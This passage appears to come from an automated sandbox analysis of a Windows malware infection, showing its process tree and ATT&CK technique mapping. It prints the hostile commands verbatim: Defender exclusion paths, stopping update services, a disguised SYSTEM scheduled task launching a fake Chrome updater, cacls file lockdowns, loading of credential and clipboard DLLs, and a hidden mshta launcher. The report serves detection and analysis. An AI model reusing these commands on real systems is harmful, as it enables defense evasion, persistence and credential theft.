        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "Admin:N"&&CACLS "yiueea.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8bff37b77" /P "Admin:N"&&CACLS "..\e8bff37b77" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:3440
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:N"
        7⤵
        
        PID:3988
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:4128
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:R" /E
        7⤵
        
        PID:784
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2836
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8bff37b77" /P "Admin:N"
        7⤵
        
        PID:4796
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8bff37b77" /P "Admin:R" /E
        7⤵
        
        PID:2200
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:5848
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:5812
  - - C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe
      "C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Modifies system certificate store
      outlook_office_path
      outlook_win_path
      PID:604
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
      4⤵
      Loads dropped DLL
      PID:4400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:4848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:5788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:7580
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6612
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:7644
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6340
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:6556
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:6184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:6872
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:7424
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:7940
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:5992
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2712
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:7352
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:6268
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6864
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5612
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5324
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:7608
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:7044
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:7980
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:7220
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:7852
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:6460
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:6608
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:6820
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:7148
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:6508
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5500
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:6828
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6408
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:8088
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:6496
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:6336
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:7436
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:6028
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:5840
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:7324
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:7028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5924
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:4632
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5664
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:6244
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3604
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5160
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:6476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5136
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:1948
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2652
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:872
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:6292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5736
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:7472
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:324

C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
1⤵
- Executes dropped EXE
PID:1768

C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
1⤵
- Executes dropped EXE
PID:2864

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
PID:4000

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5984 -s 596
1⤵
- Program crash
PID:6104

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
1⤵
- Loads dropped DLL
PID:5984

\??\c:\windows\system32\mshta.exe
mshta.exe vbscript:Execute("Set oShell = CreateObject (""Wscript.Shell""):Dim strArgs:strArgs = ""cmd -windowstyle hidden /c C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py"":oShell.Run strArgs, 0, false:window.close")
1⤵
PID:6212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" -windowstyle hidden /c C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py
  2⤵
  PID:7380
- - C:\Users\Public\Document\python.exe
    C:\Users\Public\Document\python.exe C:\Users\Public\Document\run.py
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:4448
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      PID:2552
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1268

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:5536

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Scripting

T1064

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery